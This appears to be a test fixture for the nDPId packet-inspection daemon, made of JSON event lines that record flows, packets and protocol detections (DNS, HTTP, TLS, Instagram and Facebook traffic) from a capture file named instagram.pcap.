+00482{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":561555,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"ABsv8H60QPMIw47hCABFAABZAuBAAEAGAfDAqABnLiFGn+VCAbsSlgM32Tfr4YAYA4n5fAAAAQEICgAD\/7VWGIoUFQMBACAs4KplPbzXnvu9o5LJf4SK8seDxrub6gsxIshtI3HaOA=="} +00429{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":561586,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0qupAAEAG4IDAqABnAhbsM6x3AFDqdVZ4Kge2dIAQA4uvfwAAAQEICgAD\/7VgZSg5"} +00431{"flow_id":29,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":561799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0qutAAEAG4H\/AqABnAhbsM6x3AFDqdVZ4Kge7\/oAQA7mvfwAAAQEICgAD\/7VgZSg5"} +00428{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":561891,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0AuFAAEAGAhTAqABnLiFGn+VCAbsSlgNc2Tfr4YARA4k19gAAAQEICgAD\/7VWGIoU"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":669,"source":"instagram.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1436720952563,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":27124,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":563081,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ABsv8H60QPMIw47hCABFAABH\/7VAAEARadHAqABnCAgICGn0ADUAM87BrqQBAAABAAAAAAAACHBob3Rvcy1iAmFrCWluc3RhZ3JhbQNjb20AAAEAAQ=="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":669,"source":"instagram.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1436720952563,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":27124,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Instagram","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"photos-b.ak.instagram.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02346{"flow_id":29,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":563508,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+RXtAADMGTWYCFuwzwKgAZwBQrHcqB7v+6nVWeIAQAeZBOwAAAQEICmBlKDsAA\/+v4ok9muTJBGDwSdIjgfD2q2RNPDJeBZFtLJHHvulZHUsUl5LiUmamnbTIcEk7J+DSk3kfe\/ZPLEJkFaHFo8HLpUdLOln42dHBGFcjim7ZSOC0KSOqjr8fDHJJciTo8iI8PglkWBqxfRNCRD+x\/ZpO4tk\/B\/Laxrkjj3+Gae0cjyybfUkiI5NOhzSyRnFEmm7XscI+WdEBKBGS8DmkJ8WdZ1HWrHIlI08mplD4HjJZEbL5+FSVjL2rgSornZoaGxbSwaHYT8H8t2Rx73KkyMqOv+hSleBuXJJO+SMJfYkSRpwTGqk17J5YhfZYosS\/UoYnTOocmaWTVXK28bR\/sTLXwpLJJoTQ2jqRf0W9mUf97NCXBp0rRN4P5WWW9o497XBHZMk+Waj\/AGQnweSfg05NOiXc90TyxEMFCQsbMXD4LLs0+41FyWN7RGqGlVoXwUUV9CRRQ9m6QmqvZRvgoRBZJVxZf7eyOPf4IrZDyyb5QsbTyiGR9z9ksvaD42R4ESKpjfJZpdxqZKK2hRJcCQvgTEXyXyJifgadiGrK4P7E6LP7IeSXg\/kJl7L3vAmWKQ2SfKExMlki65Lt37JZe0KoUkWjwRXJRKqIokjT7jUyN8CYyA34Fz8NeR8jL5PJHIsktngUW8HSyXKoWKIsnKsFlsti+CeBn\/vZ9rK8kSJPZeyT52t4Ix8i5yfxIHI0xImv1NLuNTJYkMgMXw3wWNHSUihsezIvjaiMUUSVnSzpZ0iRXv1MDX2KX3s+1ngRElsjxvNcvZIjHiymLtIp7uPNk8Gl3E1siRArkoXwVsyyK6uExwa3SJKlZHe6LG6Oo6jqLL97HKJcROI6ouDP1OB15Kicex9Hk\/8AjP0E40WjihukJ2tpSadEIqC5ItN8DaWTqSOpHUhaiYpps6vheB0PBd4LrBDWTVSPJIRK5IjvqYES252fwajpWRd8ksi4HhiXImiyTL2WNmSXOyQlwLB\/EiuKFxtX7E+00sk8jEhkEQXJXHw3wUPngtIfIkhD28EVnea\/URL2JcfBqYEuES5EPtYiO0tkLGzHliLLPB\/EjgujqE23yT7TS7ieShDIEe74vBIaJFio8jEhppci3eGIkNLdYH79TtZHBJn9ku1iEWMrZY2ZLLIri964P4i8Etk+SeDT7iedlZJ0QZB\/sP4b4Hs0PBFUJkmRfJJ37LGSLLLFgfv1MMhgmudpdrIkdpZ28CxvLJE\/sQsH8RPwS28ku00iYsiMiIZH8PA2NcFNCEWPZsT5e8sCH7EMXu1O1kMEsjJdrEQ2e3gWN5ZIngWBYPAnySfBLt4NGLJYNPJIT+xlkRPkfxWNcDFnZMZY2muBPnebojySfBYmVfjZi92pgRLOzXAiOzKHgWN55EX42tUX+oq4J4HhEVSokuDSyTfIhDRF8iykP4UOvA3wZFkZWyJJ1ZHO81giiSOnkUVvL3yFkdFIrwLTdn4yl9lr7Lo6xzR1HUxteUfr9CS+jpRUS1VFIpPB08oocW1RCDT5JxtnSzpY0yKpiXK+JjfIxCyMraI8CztaJOyIyufYxI6WdDPxs\/H\/AGdCJxV8C019HQdB0IcUfjvyfhf2fif2LSkPTkdDOhnQxrkoiiihQ8lHSV4FFFL7KT4spLIqOPspfZ0\/2dA4ssssv2uXFbSoX9iob2vfyIR5IjV78bUQ4LZZZZZJ+RSZYhklyRK2Q8+x52jjddotnRRRBcklyUcFo6kdX9nV\/Y2OR1o618HSdJW1bdJ0rJ0lCR0s6SkUtr2Re17ywJ7IY8kRDQh53Y8iI4Etl2i2YjghknkoaKOlHSjoR+GJ+FfZ+L+z8f8Ae1M6WNHG17WclM6RRKQ5JCalgSJOsGnKyb4L+OWBLZDHkiIez3ZLIiOBDFjahxE="} +00429{"flow_id":29,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":563630,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0quxAAEAG4H7AqABnAhbsM6x3AFDqdVZ4KgfBiIAQA+avfwAAAQEICgAD\/7VgZSg7"} +02400{"flow_id":29,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":567293,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+RXxAADMGTWUCFuwzwKgAZwBQrHcqB8GI6nVWeIAQAeZuEAAAAQEICmBlKDsAA\/+vRKIrkkudn8NlljEjpRSOCzqLEPaRpkRmmT+R4FshjIiGvbLBLIiAtk+Cy\/YlySzsxIor4L2fvQ9mRXBEkaZP5JYEihDGRE\/cyWdoiRQlwU97GyOSWdmJFHOy+B+29kPZ53mjTJ\/JIWyKGiKK3e8h7RFsseykdIoko8nSOIkyt0P3v3oeNvO8yBL5JC2WzF7HvIltEQvYyt37GUUMe\/8A\/8QAMBEAAgIBAwQCAgMAAQMFAQAAAAECETEDECESIDJBMFEEIhNAYUJSYqEUI1BxgbH\/2gAIAQMBAT8A+L12KTLvKKidK+zp\/wBOl\/aOl\/4dL\/w6X9o6X9o6f9OlfZUT9fo636HJv3\/T4Q3fdVZ\/qJXgWn9iihxVDQlY1\/efGS0WiyyXP7ItHUi0Lkpey\/r+pGNiQkUUTRp5KHD6HH+5cS\/p\/wDguXpouf0Oclk\/kYpt+i\/9P\/po5+kV\/wBqOlf9J0r6\/wDJ0L6\/8nQhw\/350rdCX126hDll1kTTHGyUfv8AuWU36On7YpV7Z1scryj9foqP1\/5KidMfs6V9nT\/o\/wCkptH80U6Zd76hp52aXs6V6Ol\/Y4P2dMvoprKLLRa+e0WU\/o6WV\/pSOPo6mN\/FX3\/R1ZVEhryjkhqRnglFPhj05R502Q\/La4miOpGStM1DTyVsxDJKizqf2dTOotfRx9HH0fr9HH0WikUikUikfr9HH0cfR1M6n9l\/NX2X9f0vyXylvp\/kNcSIyUlcScFLI9OcHcTT1XNcmnnd7Nkxf07LLLOpF96TeCksnV9f1Nd3N9ibTtGn+RfEhc8oSSwPUUHbFK8C2Q0ahFWP4rKf0dL+yl9lROPov6OpnU\/s6n9nU\/s6n9nUxtPKKidP0xprK26fs4WBtv8Arank+6M3F2jT1OtbQXS+CMr7JkCS9j7ullL2zj6Op\/P0sVI6\/sca59f2J+T7mfjYZq6jhTRDVjPGRNojqfe+oQKGq47K+y6x\/Q6WUjq+uxOsDST4\/pV2z8n3M\/G9n5OFtDXceHyQlGfiJtCkmahp7SXA9383S\/ZwdX18D\/o47p+T7mfjez8jC3TrlGhqdap5HEbs092vXypMr7ZwdT\/t475v9mWWWjgSKPx\/Z+RhdmnNxlaItSVk+NlP7LJr2PfJjPZTKX2Wiy\/hsp7X\/Rv6+Cfk+\/8AHeT8jCK7PxNT\/izW9EVY4tCbQmnkfYrKRf0W\/hszgplf6cF\/3J+T7Fv+P7PyMLsSIvpdk5KSTRp7OK9DVd\/HsooplFf6V\/pS+zg4+iy\/\/gJ6MZck9GUd29\/x\/Z+RhbJbN7aUrVEGN7Mcfg\/+\/wC5XyrXjdMTT5RLTjLJLQa8RprO2nHqkkaUeltH5C4Rf126Psj2PBfw8FMRX9Vf6X80\/Jmim5cEfyGuJEZxlhkop8Ml+P8A9JpxcZqyC\/Zn5GF3aPsjsl8kIXyx4I54H\/3EoV86TeCOi3k\/jisii\/SNSFKzSS6Rwi\/RLR+iUWs\/JNfsz8euVvDWlEjrReeNlFJ2j8hNrZb0aSyR2W1jz8EVbEx4IZW3T9Ek18sdNf8AITiuIo\/Z5IwS21nwR1Yxj+zP\/V6f2L8rS+z+XTlxZPTrlfHN\/sz8Zctj2r7MmjfVVl81tLSjInoyWDp+y16JxpJmjhilTrtln4NSDfKZpazb6Z5Hghlb6hnnajna96e0Y2Rj+1CgkNban5MIcE\/y5yxwQk3LlmvldkdSUfFmnqOTpr4p+TPxld7JDLNDzP8AkzXbpUR1mvIjOMsMlpp5RL8f\/pNSLUUmaPsk6lHtk+fgWvzyJxkuBT+yGVvMS4se9lsveMbZGKQvPbU1owXJq\/kynwsb6Xka2VstOTFo\/Z0RjkerFYIT6lfwz8mfjqo2TjUmhlFH48eWyUeTXfC3hrQ="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":737,"source":"instagram.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1436720952611,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"46.33.70.150","dst_ip":"192.168.0.103","src_port":80,"dst_port":40855,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":737,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":611482,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"QPMIw47hABsv8H60CABFAAA8AABAADkGC\/YuIUaWwKgAZwBQn5dVkK9h7WtuhaASOJDXwwAAAgQFlgQCCAoJIvhRAAP\/swEDAwU="} +00428{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":738,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720952,"pkt_ts_usec":611635,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0kThAAEAGc8XAqABnLiFGlp+XAFDta26FVZCvYoAQAOU17QAAAQEICgAD\/7oJIvhR"} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":14,"flow_first_seen":1436720908576,"flow_last_seen":1436720908733,"flow_tot_l4_data_len":5091,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41181,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":14,"flow_first_seen":1436720908577,"flow_last_seen":1436720908737,"flow_tot_l4_data_len":5091,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41182,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":58,"flow_first_seen":1436720900687,"flow_last_seen":1436720901200,"flow_tot_l4_data_len":48248,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":831,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.162","src_port":57936,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":2,"flow_first_seen":1436720908533,"flow_last_seen":1436720908579,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":55,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":26540,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1436720900692,"flow_last_seen":1436720900876,"flow_tot_l4_data_len":3777,"flow_min_l4_data_len":44,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":539,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.185","src_port":57965,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":3,"flow_first_seen":1436720908531,"flow_last_seen":1436720908567,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.185","src_port":57966,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":3,"flow_first_seen":1436720908531,"flow_last_seen":1436720908567,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.185","src_port":57966,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00510{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":2,"flow_first_seen":1436720952561,"flow_last_seen":1436720952561,"flow_tot_l4_data_len":101,"flow_min_l4_data_len":32,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":50,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.159","src_port":58690,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":2,"flow_first_seen":1436720952561,"flow_last_seen":1436720952561,"flow_tot_l4_data_len":101,"flow_min_l4_data_len":32,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":50,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.159","src_port":58690,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00531{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":34,"flow_first_seen":1436720901182,"flow_last_seen":1436720908544,"flow_tot_l4_data_len":27883,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":820,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"77.67.29.17","src_port":33976,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":34,"flow_first_seen":1436720901182,"flow_last_seen":1436720908544,"flow_tot_l4_data_len":27883,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":820,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"77.67.29.17","src_port":33976,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1436720908523,"flow_last_seen":1436720908570,"flow_tot_l4_data_len":326,"flow_min_l4_data_len":55,"flow_max_l4_data_len":271,"flow_avg_l4_data_len":163,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":51219,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":75,"flow_first_seen":1436720942530,"flow_last_seen":1436720942621,"flow_tot_l4_data_len":54689,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":729,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.162","src_port":58052,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":5,"flow_first_seen":1436720908464,"flow_last_seen":1436720911139,"flow_tot_l4_data_len":340,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"192.168.0.103","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1436720906017,"flow_last_seen":1436720906024,"flow_tot_l4_data_len":444,"flow_min_l4_data_len":111,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.106","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":19,"flow_first_seen":1436720908581,"flow_last_seen":1436720908769,"flow_tot_l4_data_len":8694,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":457,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.136","src_port":60908,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00546{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":150,"flow_first_seen":1436720950909,"flow_last_seen":1436720952614,"flow_tot_l4_data_len":148458,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":989,"midstream":1,"l3_proto":"ip4","src_ip":"31.13.86.52","dst_ip":"192.168.0.103","src_port":80,"dst_port":58216,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Facebook","breed":"Fun","category":"SocialNetwork"},"http": {}} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":150,"flow_first_seen":1436720950909,"flow_last_seen":1436720952614,"flow_tot_l4_data_len":148458,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":989,"midstream":1,"l3_proto":"ip4","src_ip":"31.13.86.52","dst_ip":"192.168.0.103","src_port":80,"dst_port":58216,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":17,"flow_first_seen":1436720908572,"flow_last_seen":1436720908746,"flow_tot_l4_data_len":5791,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":340,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.174","src_port":44558,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":2,"flow_first_seen":1436720952611,"flow_last_seen":1436720952611,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"46.33.70.150","dst_ip":"192.168.0.103","src_port":80,"dst_port":40855,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":2,"flow_first_seen":1436720952611,"flow_last_seen":1436720952611,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"46.33.70.150","dst_ip":"192.168.0.103","src_port":80,"dst_port":40855,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":52,"flow_first_seen":1436720900684,"flow_last_seen":1436720900750,"flow_tot_l4_data_len":57226,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":1100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.160","src_port":38816,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":3,"flow_first_seen":1436720908521,"flow_last_seen":1436720908542,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.160","src_port":38817,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":3,"flow_first_seen":1436720908521,"flow_last_seen":1436720908542,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.160","src_port":38817,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1436720952563,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":27124,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":17,"flow_first_seen":1436720898354,"flow_last_seen":1436720899158,"flow_tot_l4_data_len":2069,"flow_min_l4_data_len":32,"flow_max_l4_data_len":496,"flow_avg_l4_data_len":121,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"173.252.107.4","src_port":56382,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00532{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":11,"flow_first_seen":1436720908466,"flow_last_seen":1436720910950,"flow_tot_l4_data_len":5023,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":456,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33763,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"}} 